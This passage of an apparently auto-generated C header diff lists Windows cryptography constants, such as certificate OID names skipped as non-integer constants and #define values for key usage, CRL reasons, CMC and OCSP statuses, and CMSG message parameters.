szOID_AUTO_ENROLL_CTL_USAGE: non-integer constant +// SKIPPED const szOID_ENROLL_CERTTYPE_EXTENSION: non-integer constant +// SKIPPED const szOID_CERT_MANIFOLD: non-integer constant +// SKIPPED const szOID_CERTSRV_CA_VERSION: non-integer constant +// SKIPPED const szOID_CERTSRV_PREVIOUS_CERT_HASH: non-integer constant +// SKIPPED const szOID_CRL_VIRTUAL_BASE: non-integer constant +// SKIPPED const szOID_CRL_NEXT_PUBLISH: non-integer constant +// SKIPPED const szOID_KP_CA_EXCHANGE: non-integer constant +// SKIPPED const szOID_KP_PRIVACY_CA: non-integer constant +// SKIPPED const szOID_KP_KEY_RECOVERY_AGENT: non-integer constant +// SKIPPED const szOID_CERTIFICATE_TEMPLATE: non-integer constant +// SKIPPED const szOID_ENTERPRISE_OID_ROOT: non-integer constant +// SKIPPED const szOID_RDN_DUMMY_SIGNER: non-integer constant +// SKIPPED const szOID_APPLICATION_CERT_POLICIES: non-integer constant +// SKIPPED const szOID_APPLICATION_POLICY_MAPPINGS: non-integer constant +// SKIPPED const szOID_APPLICATION_POLICY_CONSTRAINTS: non-integer constant +// SKIPPED const szOID_ARCHIVED_KEY_ATTR: non-integer constant +// SKIPPED const szOID_CRL_SELF_CDP: non-integer constant +// SKIPPED const szOID_REQUIRE_CERT_CHAIN_POLICY: non-integer constant +// SKIPPED const szOID_ARCHIVED_KEY_CERT_HASH: non-integer constant +// SKIPPED const szOID_ISSUED_CERT_HASH: non-integer constant +// SKIPPED const szOID_DS_EMAIL_REPLICATION: non-integer constant +// SKIPPED const szOID_REQUEST_CLIENT_INFO: non-integer constant +// SKIPPED const szOID_ENCRYPTED_KEY_HASH: non-integer constant +// SKIPPED const szOID_CERTSRV_CROSSCA_VERSION: non-integer constant +// SKIPPED const szOID_NTDS_REPLICATION: non-integer constant +// SKIPPED const szOID_NTDS_CA_SECURITY_EXT: non-integer constant +// SKIPPED const szOID_NTDS_OBJECTSID: non-integer constant +// SKIPPED const wszURI_NTDS_OBJECTSID_PREFIX: non-integer constant +// SKIPPED const szOID_SUBJECT_DIR_ATTRS: non-integer constant +// SKIPPED const szOID_PKIX_KP: non-integer constant +// SKIPPED const szOID_PKIX_KP_SERVER_AUTH: non-integer constant +// SKIPPED const szOID_PKIX_KP_CLIENT_AUTH: non-integer constant +// SKIPPED const szOID_PKIX_KP_CODE_SIGNING: non-integer constant +// SKIPPED const szOID_PKIX_KP_EMAIL_PROTECTION: non-integer constant +// SKIPPED const szOID_PKIX_KP_IPSEC_END_SYSTEM: non-integer constant +// SKIPPED const szOID_PKIX_KP_IPSEC_TUNNEL: non-integer constant +// SKIPPED const szOID_PKIX_KP_IPSEC_USER: non-integer constant +// SKIPPED const szOID_PKIX_KP_TIMESTAMP_SIGNING: non-integer constant +// SKIPPED const szOID_PKIX_KP_OCSP_SIGNING: non-integer constant +// SKIPPED const szOID_PKIX_OCSP_NOCHECK: non-integer constant +// SKIPPED const szOID_PKIX_OCSP_NONCE: non-integer constant +// SKIPPED const szOID_IPSEC_KP_IKE_INTERMEDIATE: non-integer constant +// SKIPPED const szOID_PKINIT_KP_KDC: non-integer constant +// SKIPPED const szOID_KP_CTL_USAGE_SIGNING: non-integer constant +// SKIPPED const szOID_KP_TIME_STAMP_SIGNING: non-integer constant +// SKIPPED const szOID_SERVER_GATED_CRYPTO: non-integer constant +// SKIPPED const szOID_SGC_NETSCAPE: non-integer constant +// SKIPPED const szOID_KP_EFS: non-integer constant +// SKIPPED const szOID_EFS_RECOVERY: non-integer constant +// SKIPPED const szOID_WHQL_CRYPTO: non-integer constant +// SKIPPED const szOID_ATTEST_WHQL_CRYPTO: non-integer constant +// SKIPPED const szOID_NT5_CRYPTO: non-integer constant +// SKIPPED const szOID_OEM_WHQL_CRYPTO: non-integer constant +// SKIPPED const szOID_EMBEDDED_NT_CRYPTO: non-integer constant +// SKIPPED const szOID_ROOT_LIST_SIGNER: non-integer constant +// SKIPPED const szOID_KP_QUALIFIED_SUBORDINATION: non-integer constant +// SKIPPED const szOID_KP_KEY_RECOVERY: non-integer constant +// SKIPPED const szOID_KP_DOCUMENT_SIGNING: non-integer constant +// SKIPPED const szOID_KP_LIFETIME_SIGNING: non-integer constant +// SKIPPED const szOID_KP_MOBILE_DEVICE_SOFTWARE: non-integer constant +// SKIPPED const szOID_KP_SMART_DISPLAY: non-integer constant +// SKIPPED const szOID_KP_CSP_SIGNATURE: non-integer constant +// SKIPPED const szOID_KP_FLIGHT_SIGNING: non-integer constant +// SKIPPED const szOID_PLATFORM_MANIFEST_BINARY_ID: non-integer constant +// SKIPPED const szOID_DRM: non-integer constant +// SKIPPED const szOID_DRM_INDIVIDUALIZATION: non-integer constant +// SKIPPED const szOID_LICENSES: non-integer constant +// SKIPPED const szOID_LICENSE_SERVER: non-integer constant +// SKIPPED const szOID_KP_SMARTCARD_LOGON: non-integer constant +// SKIPPED const szOID_KP_KERNEL_MODE_CODE_SIGNING: non-integer constant +// SKIPPED const szOID_KP_KERNEL_MODE_TRUSTED_BOOT_SIGNING: non-integer constant +// SKIPPED const szOID_REVOKED_LIST_SIGNER: non-integer constant +// SKIPPED const szOID_WINDOWS_KITS_SIGNER: non-integer constant +// SKIPPED const szOID_WINDOWS_RT_SIGNER: non-integer constant +// SKIPPED const szOID_PROTECTED_PROCESS_LIGHT_SIGNER: non-integer constant +// SKIPPED const szOID_WINDOWS_TCB_SIGNER: non-integer constant +// SKIPPED const szOID_PROTECTED_PROCESS_SIGNER: non-integer constant +// SKIPPED const szOID_WINDOWS_THIRD_PARTY_COMPONENT_SIGNER: non-integer constant +// SKIPPED const szOID_WINDOWS_SOFTWARE_EXTENSION_SIGNER: non-integer constant +// SKIPPED const szOID_DISALLOWED_LIST: non-integer constant +// SKIPPED const szOID_PIN_RULES_SIGNER: non-integer constant +// SKIPPED const szOID_PIN_RULES_CTL: non-integer constant +// SKIPPED const szOID_PIN_RULES_EXT: non-integer constant +// SKIPPED const szOID_PIN_RULES_DOMAIN_NAME: non-integer constant +// SKIPPED const szOID_PIN_RULES_LOG_END_DATE_EXT: non-integer constant +// SKIPPED const szOID_IUM_SIGNING: non-integer constant +// SKIPPED const szOID_EV_WHQL_CRYPTO: non-integer constant +// SKIPPED const szOID_BIOMETRIC_SIGNING: non-integer constant +// SKIPPED const szOID_ENCLAVE_SIGNING: non-integer constant +// SKIPPED const szOID_SYNC_ROOT_CTL_EXT: non-integer constant +// SKIPPED const szOID_FLIGHT_CTL_EXT: non-integer constant +// SKIPPED const szOID_CERT_LOG_LIST_EXT: non-integer constant +// SKIPPED const szOID_HPKP_DOMAIN_NAME_CTL: non-integer constant +// SKIPPED const szOID_HPKP_HEADER_VALUE_CTL: non-integer constant +// SKIPPED const szOID_KP_KERNEL_MODE_HAL_EXTENSION_SIGNING: non-integer constant +// SKIPPED const szOID_WINDOWS_STORE_SIGNER: non-integer constant +// SKIPPED const szOID_DYNAMIC_CODE_GEN_SIGNER: non-integer constant +// SKIPPED const szOID_MICROSOFT_PUBLISHER_SIGNER: non-integer constant +// SKIPPED const szOID_YESNO_TRUST_ATTR: non-integer constant +// SKIPPED const szOID_SITE_PIN_RULES_INDEX_ATTR: non-integer constant +// SKIPPED const szOID_SITE_PIN_RULES_FLAGS_ATTR: non-integer constant +#define SITE_PIN_RULES_ALL_SUBDOMAINS_FLAG 0x1 +// SKIPPED const szOID_PKIX_POLICY_QUALIFIER_CPS: non-integer constant +// SKIPPED const szOID_PKIX_POLICY_QUALIFIER_USERNOTICE: non-integer constant +// SKIPPED const szOID_ROOT_PROGRAM_FLAGS: non-integer constant +#define CERT_ROOT_PROGRAM_FLAG_OU 0x10 +#define CERT_ROOT_PROGRAM_FLAG_ADDRESS 0x8 +// SKIPPED const szOID_CERT_POLICIES_95_QUALIFIER1: non-integer constant +// SKIPPED const szOID_RDN_TPM_MANUFACTURER: non-integer constant +// SKIPPED const szOID_RDN_TPM_MODEL: non-integer constant +// SKIPPED const szOID_RDN_TPM_VERSION: non-integer constant +// SKIPPED const szOID_RDN_TCG_PLATFORM_MANUFACTURER: non-integer constant +// SKIPPED const szOID_RDN_TCG_PLATFORM_MODEL: non-integer constant +// SKIPPED const szOID_RDN_TCG_PLATFORM_VERSION: non-integer constant +// SKIPPED const szOID_CT_CERT_SCTLIST: non-integer constant +// SKIPPED const szOID_ENROLL_EK_INFO: non-integer constant +// SKIPPED const szOID_ENROLL_AIK_INFO: non-integer constant +// SKIPPED const szOID_ENROLL_ATTESTATION_STATEMENT: non-integer constant +// SKIPPED const szOID_ENROLL_KSP_NAME: non-integer constant +// SKIPPED const szOID_ENROLL_EKPUB_CHALLENGE: non-integer constant +// SKIPPED const szOID_ENROLL_CAXCHGCERT_HASH: non-integer constant +// SKIPPED const szOID_ENROLL_ATTESTATION_CHALLENGE: non-integer constant +// SKIPPED const szOID_ENROLL_ENCRYPTION_ALGORITHM: non-integer constant +// SKIPPED const szOID_KP_TPM_EK_CERTIFICATE: non-integer constant +// SKIPPED const szOID_KP_TPM_PLATFORM_CERTIFICATE: non-integer constant +// SKIPPED const szOID_KP_TPM_AIK_CERTIFICATE: non-integer constant +// SKIPPED const szOID_ENROLL_EKVERIFYKEY: non-integer constant +// SKIPPED const szOID_ENROLL_EKVERIFYCERT: non-integer constant +// SKIPPED const szOID_ENROLL_EKVERIFYCREDS: non-integer constant +// SKIPPED const szOID_ENROLL_SCEP_ERROR: non-integer constant +// SKIPPED const szOID_ENROLL_SCEP_SERVER_STATE: non-integer constant +// SKIPPED const szOID_ENROLL_SCEP_CHALLENGE_ANSWER: non-integer constant +// SKIPPED const szOID_ENROLL_SCEP_CLIENT_REQUEST: non-integer constant +// SKIPPED const szOID_ENROLL_SCEP_SERVER_MESSAGE: non-integer constant +// SKIPPED const szOID_ENROLL_SCEP_SERVER_SECRET: non-integer constant +// SKIPPED const szOID_ENROLL_KEY_AFFINITY: non-integer constant +// SKIPPED const szOID_ENROLL_SCEP_SIGNER_HASH: non-integer constant +// SKIPPED const szOID_ENROLL_EK_CA_KEYID: non-integer constant +// SKIPPED const szOID_ATTR_SUPPORTED_ALGORITHMS: non-integer constant +// SKIPPED const szOID_ATTR_TPM_SPECIFICATION: non-integer constant +// SKIPPED const szOID_ATTR_PLATFORM_SPECIFICATION: non-integer constant +// SKIPPED const szOID_ATTR_TPM_SECURITY_ASSERTIONS: non-integer constant +#define CERT_UNICODE_RDN_ERR_INDEX_MASK 0x3ff +#define CERT_UNICODE_RDN_ERR_INDEX_SHIFT 0x16 +#define CERT_UNICODE_ATTR_ERR_INDEX_MASK 0x3f +#define CERT_UNICODE_ATTR_ERR_INDEX_SHIFT 0x10 +#define CERT_UNICODE_VALUE_ERR_INDEX_MASK 0xffff +#define CERT_UNICODE_VALUE_ERR_INDEX_SHIFT 0x0 +#define CERT_DIGITAL_SIGNATURE_KEY_USAGE 0x80 +#define CERT_NON_REPUDIATION_KEY_USAGE 0x40 +#define CERT_KEY_ENCIPHERMENT_KEY_USAGE 0x20 +#define CERT_DATA_ENCIPHERMENT_KEY_USAGE 0x10 +#define CERT_KEY_AGREEMENT_KEY_USAGE 0x8 +#define CERT_KEY_CERT_SIGN_KEY_USAGE 0x4 +#define CERT_OFFLINE_CRL_SIGN_KEY_USAGE 0x2 +#define CERT_CRL_SIGN_KEY_USAGE 0x2 +#define CERT_ENCIPHER_ONLY_KEY_USAGE 0x1 +#define CERT_DECIPHER_ONLY_KEY_USAGE 0x80 +#define CERT_ALT_NAME_X400_ADDRESS 0x4 +#define CERT_ALT_NAME_EDI_PARTY_NAME 0x6 +#define CERT_ALT_NAME_ENTRY_ERR_INDEX_MASK 0xff +#define CERT_ALT_NAME_ENTRY_ERR_INDEX_SHIFT 0x10 +#define CERT_ALT_NAME_VALUE_ERR_INDEX_MASK 0xffff +#define CERT_ALT_NAME_VALUE_ERR_INDEX_SHIFT 0x0 +#define CERT_CA_SUBJECT_FLAG 0x80 +#define CERT_END_ENTITY_SUBJECT_FLAG 0x40 +// SKIPPED const szOID_PKIX_ACC_DESCR: non-integer constant +// SKIPPED const szOID_PKIX_OCSP: non-integer constant +// SKIPPED const szOID_PKIX_CA_ISSUERS: non-integer constant +// SKIPPED const szOID_PKIX_TIME_STAMPING: non-integer constant +// SKIPPED const szOID_PKIX_CA_REPOSITORY: non-integer constant +#define CRL_REASON_PRIVILEGE_WITHDRAWN 0x9 +#define CRL_REASON_AA_COMPROMISE 0xa +#define CRL_DIST_POINT_NO_NAME 0x0 +#define CRL_DIST_POINT_FULL_NAME 0x1 +#define CRL_DIST_POINT_ISSUER_RDN_NAME 0x2 +#define CRL_REASON_UNUSED_FLAG 0x80 +#define CRL_REASON_KEY_COMPROMISE_FLAG 0x40 +#define CRL_REASON_CA_COMPROMISE_FLAG 0x20 +#define CRL_REASON_AFFILIATION_CHANGED_FLAG 0x10 +#define CRL_REASON_SUPERSEDED_FLAG 0x8 +#define CRL_REASON_CESSATION_OF_OPERATION_FLAG 0x4 +#define CRL_REASON_CERTIFICATE_HOLD_FLAG 0x2 +#define CRL_REASON_PRIVILEGE_WITHDRAWN_FLAG 0x1 +#define CRL_REASON_AA_COMPROMISE_FLAG 0x80 +#define CRL_DIST_POINT_ERR_INDEX_MASK 0x7f +#define CRL_DIST_POINT_ERR_INDEX_SHIFT 0x18 +#define CRL_DIST_POINT_ERR_CRL_ISSUER_BIT -2147483648 +#define CROSS_CERT_DIST_POINT_ERR_INDEX_MASK 0xff +#define CROSS_CERT_DIST_POINT_ERR_INDEX_SHIFT 0x18 +#define CERT_EXCLUDED_SUBTREE_BIT -2147483648 +#define SORTED_CTL_EXT_HASHED_SUBJECT_IDENTIFIER_FLAG 0x1 +#define CERT_DSS_R_LEN 0x14 +#define CERT_DSS_S_LEN 0x14 +#define CRYPT_X942_COUNTER_BYTE_LENGTH 0x4 +#define CRYPT_X942_KEY_LENGTH_BYTE_LENGTH 0x4 +#define CRYPT_ECC_CMS_SHARED_INFO_SUPPPUBINFO_BYTE_LENGTH 0x4 +#define CRYPT_RC2_40BIT_VERSION 0xa0 +#define CRYPT_RC2_56BIT_VERSION 0x34 +#define CRYPT_RC2_64BIT_VERSION 0x78 +#define CRYPT_RC2_128BIT_VERSION 0x3a +// SKIPPED const szOID_QC_EU_COMPLIANCE: non-integer constant +// SKIPPED const szOID_QC_SSCD: non-integer constant +#define PKCS_RSA_SSA_PSS_TRAILER_FIELD_BC 0x1 +// SKIPPED const szOID_VERISIGN_PRIVATE_6_9: non-integer constant +// SKIPPED const szOID_VERISIGN_ONSITE_JURISDICTION_HASH: non-integer constant +// SKIPPED const szOID_VERISIGN_BITSTRING_6_13: non-integer constant +// SKIPPED const szOID_VERISIGN_ISS_STRONG_CRYPTO: non-integer constant +// SKIPPED const szOIDVerisign_MessageType: non-integer constant +// SKIPPED const szOIDVerisign_PkiStatus: non-integer constant +// SKIPPED const szOIDVerisign_FailInfo: non-integer constant +// SKIPPED const szOIDVerisign_SenderNonce: non-integer constant +// SKIPPED const szOIDVerisign_RecipientNonce: non-integer constant +// SKIPPED const szOIDVerisign_TransactionID: non-integer constant +// SKIPPED const szOID_NETSCAPE: non-integer constant +// SKIPPED const szOID_NETSCAPE_CERT_EXTENSION: non-integer constant +// SKIPPED const szOID_NETSCAPE_CERT_TYPE: non-integer constant +// SKIPPED const szOID_NETSCAPE_BASE_URL: non-integer constant +// SKIPPED const szOID_NETSCAPE_REVOCATION_URL: non-integer constant +// SKIPPED const szOID_NETSCAPE_CA_REVOCATION_URL: non-integer constant +// SKIPPED const szOID_NETSCAPE_CERT_RENEWAL_URL: non-integer constant +// SKIPPED const szOID_NETSCAPE_CA_POLICY_URL: non-integer constant +// SKIPPED const szOID_NETSCAPE_SSL_SERVER_NAME: non-integer constant +// SKIPPED const szOID_NETSCAPE_COMMENT: non-integer constant +// SKIPPED const szOID_NETSCAPE_DATA_TYPE: non-integer constant +// SKIPPED const szOID_NETSCAPE_CERT_SEQUENCE: non-integer constant +#define NETSCAPE_SSL_CLIENT_AUTH_CERT_TYPE 0x80 +#define NETSCAPE_SSL_SERVER_AUTH_CERT_TYPE 0x40 +#define NETSCAPE_SMIME_CERT_TYPE 0x20 +#define NETSCAPE_SIGN_CERT_TYPE 0x10 +#define NETSCAPE_SSL_CA_CERT_TYPE 0x4 +#define NETSCAPE_SMIME_CA_CERT_TYPE 0x2 +#define NETSCAPE_SIGN_CA_CERT_TYPE 0x1 +// SKIPPED const szOID_CT_PKI_DATA: non-integer constant +// SKIPPED const szOID_CT_PKI_RESPONSE: non-integer constant +// SKIPPED const szOID_PKIX_NO_SIGNATURE: non-integer constant +// SKIPPED const szOID_CMC: non-integer constant +// SKIPPED const szOID_CMC_STATUS_INFO: non-integer constant +// SKIPPED const szOID_CMC_IDENTIFICATION: non-integer constant +// SKIPPED const szOID_CMC_IDENTITY_PROOF: non-integer constant +// SKIPPED const szOID_CMC_DATA_RETURN: non-integer constant +// SKIPPED const szOID_CMC_TRANSACTION_ID: non-integer constant +// SKIPPED const szOID_CMC_SENDER_NONCE: non-integer constant +// SKIPPED const szOID_CMC_RECIPIENT_NONCE: non-integer constant +// SKIPPED const szOID_CMC_ADD_EXTENSIONS: non-integer constant +// SKIPPED const szOID_CMC_ENCRYPTED_POP: non-integer constant +// SKIPPED const szOID_CMC_DECRYPTED_POP: non-integer constant +// SKIPPED const szOID_CMC_LRA_POP_WITNESS: non-integer constant +// SKIPPED const szOID_CMC_GET_CERT: non-integer constant +// SKIPPED const szOID_CMC_GET_CRL: non-integer constant +// SKIPPED const szOID_CMC_REVOKE_REQUEST: non-integer constant +// SKIPPED const szOID_CMC_REG_INFO: non-integer constant +// SKIPPED const szOID_CMC_RESPONSE_INFO: non-integer constant +// SKIPPED const szOID_CMC_QUERY_PENDING: non-integer constant +// SKIPPED const szOID_CMC_ID_POP_LINK_RANDOM: non-integer constant +// SKIPPED const szOID_CMC_ID_POP_LINK_WITNESS: non-integer constant +// SKIPPED const szOID_CMC_ID_CONFIRM_CERT_ACCEPTANCE: non-integer constant +// SKIPPED const szOID_CMC_ADD_ATTRIBUTES: non-integer constant +#define CMC_TAGGED_CERT_REQUEST_CHOICE 0x1 +#define CMC_OTHER_INFO_NO_CHOICE 0x0 +#define CMC_OTHER_INFO_FAIL_CHOICE 0x1 +#define CMC_OTHER_INFO_PEND_CHOICE 0x2 +#define CMC_STATUS_SUCCESS 0x0 +#define CMC_STATUS_FAILED 0x2 +#define CMC_STATUS_PENDING 0x3 +#define CMC_STATUS_NO_SUPPORT 0x4 +#define CMC_STATUS_CONFIRM_REQUIRED 0x5 +#define CMC_FAIL_BAD_ALG 0x0 +#define CMC_FAIL_BAD_MESSAGE_CHECK 0x1 +#define CMC_FAIL_BAD_REQUEST 0x2 +#define CMC_FAIL_BAD_TIME 0x3 +#define CMC_FAIL_BAD_CERT_ID 0x4 +#define CMC_FAIL_UNSUPORTED_EXT 0x5 +#define CMC_FAIL_MUST_ARCHIVE_KEYS 0x6 +#define CMC_FAIL_BAD_IDENTITY 0x7 +#define CMC_FAIL_POP_REQUIRED 0x8 +#define CMC_FAIL_POP_FAILED 0x9 +#define CMC_FAIL_NO_KEY_REUSE 0xa +#define CMC_FAIL_INTERNAL_CA_ERROR 0xb +#define CMC_FAIL_TRY_LATER 0xc +// SKIPPED const szOID_LOYALTY_OTHER_LOGOTYPE: non-integer constant +// SKIPPED const szOID_BACKGROUND_OTHER_LOGOTYPE: non-integer constant +#define CERT_BIOMETRIC_PICTURE_TYPE 0x0 +#define CERT_BIOMETRIC_SIGNATURE_TYPE 0x1 +#define OCSP_REQUEST_V1 0x0 +#define OCSP_SUCCESSFUL_RESPONSE 0x0 +#define OCSP_MALFORMED_REQUEST_RESPONSE 0x1 +#define OCSP_INTERNAL_ERROR_RESPONSE 0x2 +#define OCSP_TRY_LATER_RESPONSE 0x3 +#define OCSP_SIG_REQUIRED_RESPONSE 0x5 +#define OCSP_UNAUTHORIZED_RESPONSE 0x6 +// SKIPPED const szOID_PKIX_OCSP_BASIC_SIGNED_RESPONSE: non-integer constant +#define OCSP_BASIC_GOOD_CERT_STATUS 0x0 +#define OCSP_BASIC_REVOKED_CERT_STATUS 0x1 +#define OCSP_BASIC_UNKNOWN_CERT_STATUS 0x2 +#define OCSP_BASIC_RESPONSE_V1 0x0 +#define OCSP_BASIC_BY_NAME_RESPONDER_ID 0x1 +#define OCSP_BASIC_BY_KEY_RESPONDER_ID 0x2 +// SKIPPED const CRYPT_OID_ENCODE_OBJECT_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_DECODE_OBJECT_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_ENCODE_OBJECT_EX_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_DECODE_OBJECT_EX_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_CREATE_COM_OBJECT_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_VERIFY_REVOCATION_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_VERIFY_CTL_USAGE_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_FORMAT_OBJECT_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_FIND_OID_INFO_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_FIND_LOCALIZED_NAME_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_REGPATH: non-integer constant +// SKIPPED const CRYPT_OID_REG_ENCODING_TYPE_PREFIX: non-integer constant +// SKIPPED const CRYPT_OID_REG_DLL_VALUE_NAME: non-integer constant +// SKIPPED const CRYPT_OID_REG_FUNC_NAME_VALUE_NAME: non-integer constant +// SKIPPED const CRYPT_OID_REG_FUNC_NAME_VALUE_NAME_A: non-integer constant +// SKIPPED const CRYPT_OID_REG_FLAGS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPT_DEFAULT_OID: non-integer constant +#define CRYPT_INSTALL_OID_FUNC_BEFORE_FLAG 0x1 +#define CRYPT_GET_INSTALLED_OID_FUNC_FLAG 0x1 +#define CRYPT_REGISTER_FIRST_INDEX 0x0 +#define CRYPT_REGISTER_LAST_INDEX 0xffffffff +#define CRYPT_MATCH_ANY_ENCODING_TYPE 0xffffffff +#define CALG_OID_INFO_CNG_ONLY 0xffffffff +#define CALG_OID_INFO_PARAMETERS 0xfffffffe +#define CALG_OID_INFO_PQ 0xfffffffd +// SKIPPED const CRYPT_OID_INFO_HASH_PARAMETERS_ALGORITHM: non-integer constant +// SKIPPED const CRYPT_OID_INFO_ECC_PARAMETERS_ALGORITHM: non-integer constant +// SKIPPED const CRYPT_OID_INFO_MGF1_PARAMETERS_ALGORITHM: non-integer constant +// SKIPPED const CRYPT_OID_INFO_NO_SIGN_ALGORITHM: non-integer constant +// SKIPPED const CRYPT_OID_INFO_OAEP_PARAMETERS_ALGORITHM: non-integer constant +// SKIPPED const CRYPT_OID_INFO_ECC_WRAP_PARAMETERS_ALGORITHM: non-integer constant +// SKIPPED const CRYPT_OID_INFO_NO_PARAMETERS_ALGORITHM: non-integer constant +// SKIPPED const CRYPT_OID_INFO_NO_HASH_ALGORITHM: non-integer constant +// SKIPPED const CRYPT_OID_INFO_PREHASH_ALGORITHM: non-integer constant +#define CRYPT_HASH_ALG_OID_GROUP_ID 0x1 +#define CRYPT_ENCRYPT_ALG_OID_GROUP_ID 0x2 +#define CRYPT_PUBKEY_ALG_OID_GROUP_ID 0x3 +#define CRYPT_SIGN_ALG_OID_GROUP_ID 0x4 +#define CRYPT_RDN_ATTR_OID_GROUP_ID 0x5 +#define CRYPT_EXT_OR_ATTR_OID_GROUP_ID 0x6 +#define CRYPT_ENHKEY_USAGE_OID_GROUP_ID 0x7 +#define CRYPT_POLICY_OID_GROUP_ID 0x8 +#define CRYPT_TEMPLATE_OID_GROUP_ID 0x9 +#define CRYPT_KDF_OID_GROUP_ID 0xa +#define CRYPT_LAST_OID_GROUP_ID 0xa +#define CRYPT_FIRST_ALG_OID_GROUP_ID 0x1 +#define CRYPT_LAST_ALG_OID_GROUP_ID 0x4 +#define CRYPT_OID_PQ_EXTRA_INFO_FLAGS_INDEX 0x0 +#define CRYPT_OID_PQ_EXTRA_INFO_PUBLIC_MAGIC_INDEX 0x1 +#define CRYPT_OID_PQ_EXTRA_INFO_PRIVATE_MAGIC_INDEX 0x2 +#define CRYPT_OID_PQ_EXTRA_INFO_PUBLIC_KEY_LENGTH_INDEX 0x3 +#define CRYPT_OID_PQ_EXTRA_INFO_PRIVATE_KEY_LENGTH_INDEX 0x4 +#define CRYPT_OID_PQ_EXTRA_INFO_SIGNATURE_LENGTH_INDEX 0x5 +#define CRYPT_OID_PQ_EXTRA_INFO_MAX_LENGTH 0x6 +#define CRYPT_OID_INHIBIT_SIGNATURE_FORMAT_FLAG 0x1 +#define CRYPT_OID_USE_PUBKEY_PARA_FOR_PKCS7_FLAG 0x2 +#define CRYPT_OID_NO_NULL_ALGORITHM_PARA_FLAG 0x4 +#define CRYPT_OID_PUBKEY_SIGN_ONLY_FLAG 0x80000000 +#define CRYPT_OID_PUBKEY_ENCRYPT_ONLY_FLAG 0x40000000 +#define CRYPT_OID_USE_CURVE_NAME_FOR_ENCODE_FLAG 0x20000000 +#define CRYPT_OID_USE_CURVE_PARAMETERS_FOR_ENCODE_FLAG 0x10000000 +#define CRYPT_OID_PUBKEY_PURE_ONLY_FLAG 0x8000000 +#define CRYPT_OID_PUBKEY_PREHASH_ONLY_FLAG 0x4000000 +#define CRYPT_OID_INFO_OID_KEY 0x1 +#define CRYPT_OID_INFO_NAME_KEY 0x2 +#define CRYPT_OID_INFO_ALGID_KEY 0x3 +#define CRYPT_OID_INFO_SIGN_KEY 0x4 +#define CRYPT_OID_INFO_CNG_ALGID_KEY 0x5 +#define CRYPT_OID_INFO_CNG_SIGN_KEY 0x6 +#define CRYPT_OID_INFO_OID_KEY_FLAGS_MASK 0xffff0000 +#define CRYPT_OID_INFO_PUBKEY_PURE_KEY_FLAG 0x8000000 +#define CRYPT_OID_INFO_PUBKEY_PREHASH_KEY_FLAG 0x4000000 +#define CRYPT_OID_DISABLE_SEARCH_DS_FLAG 0x80000000 +#define CRYPT_OID_PREFER_CNG_ALGID_FLAG 0x40000000 +#define CRYPT_OID_INFO_OID_GROUP_BIT_LEN_MASK 0xfff0000 +#define CRYPT_OID_INFO_OID_GROUP_BIT_LEN_SHIFT 0x10 +#define CRYPT_INSTALL_OID_INFO_BEFORE_FLAG 0x1 +#define CRYPT_LOCALIZED_NAME_ENCODING_TYPE 0x0 +// SKIPPED const CRYPT_LOCALIZED_NAME_OID: non-integer constant +// SKIPPED const CERT_STRONG_SIGN_ECDSA_ALGORITHM: non-integer constant +#define CERT_STRONG_SIGN_SERIALIZED_INFO_CHOICE 0x1 +#define CERT_STRONG_SIGN_OID_INFO_CHOICE 0x2 +// SKIPPED const szOID_CERT_STRONG_SIGN_OS_PREFIX: non-integer constant +// SKIPPED const szOID_CERT_STRONG_SIGN_OS_1: non-integer constant +// SKIPPED const szOID_CERT_STRONG_SIGN_OS_CURRENT: non-integer constant +// SKIPPED const szOID_CERT_STRONG_KEY_OS_PREFIX: non-integer constant +// SKIPPED const szOID_CERT_STRONG_KEY_OS_1: non-integer constant +// SKIPPED const szOID_CERT_STRONG_KEY_OS_CURRENT: non-integer constant +// SKIPPED const szOID_NO_HASH: non-integer constant +// SKIPPED const szOID_PKCS_7_DATA: non-integer constant +// SKIPPED const szOID_PKCS_7_SIGNED: non-integer constant +// SKIPPED const szOID_PKCS_7_ENVELOPED: non-integer constant +// SKIPPED const szOID_PKCS_7_SIGNEDANDENVELOPED: non-integer constant +// SKIPPED const szOID_PKCS_7_DIGESTED: non-integer constant +// SKIPPED const szOID_PKCS_7_ENCRYPTED: non-integer constant +// SKIPPED const szOID_PKCS_9_CONTENT_TYPE: non-integer constant +// SKIPPED const szOID_PKCS_9_MESSAGE_DIGEST: non-integer constant +#define CMSG_ENCRYPTED 0x6 +#define CMSG_MAIL_LIST_HANDLE_KEY_CHOICE 0x1 +#define CMSG_KEY_TRANS_RECIPIENT 0x1 +#define CMSG_KEY_AGREE_RECIPIENT 0x2 +#define CMSG_MAIL_LIST_RECIPIENT 0x3 +#define CMSG_SP3_COMPATIBLE_ENCRYPT_FLAG 0x80000000 +#define CMSG_RC4_NO_SALT_FLAG 0x40000000 +#define CMSG_INDEFINITE_LENGTH 0xffffffff +#define CMSG_BARE_CONTENT_FLAG 0x1 +#define CMSG_LENGTH_ONLY_FLAG 0x2 +#define CMSG_DETACHED_FLAG 0x4 +#define CMSG_AUTHENTICATED_ATTRIBUTES_FLAG 0x8 +#define CMSG_CONTENTS_OCTETS_FLAG 0x10 +#define CMSG_MAX_LENGTH_FLAG 0x20 +#define CMSG_CMS_ENCAPSULATED_CONTENT_FLAG 0x40 +#define CMSG_SIGNED_DATA_NO_SIGN_FLAG 0x80 +#define CMSG_CRYPT_RELEASE_CONTEXT_FLAG 0x8000 +#define CMSG_TYPE_PARAM 0x1 +#define CMSG_CONTENT_PARAM 0x2 +#define CMSG_BARE_CONTENT_PARAM 0x3 +#define CMSG_INNER_CONTENT_TYPE_PARAM 0x4 +#define CMSG_SIGNER_COUNT_PARAM 0x5 +#define CMSG_SIGNER_INFO_PARAM 0x6 +#define CMSG_SIGNER_CERT_INFO_PARAM 0x7 +#define CMSG_SIGNER_HASH_ALGORITHM_PARAM 0x8 +#define CMSG_SIGNER_AUTH_ATTR_PARAM 0x9 +#define CMSG_SIGNER_UNAUTH_ATTR_PARAM 0xa +#define CMSG_CERT_COUNT_PARAM 0xb +#define CMSG_CERT_PARAM 0xc +#define CMSG_CRL_COUNT_PARAM 0xd +#define CMSG_CRL_PARAM 0xe +#define 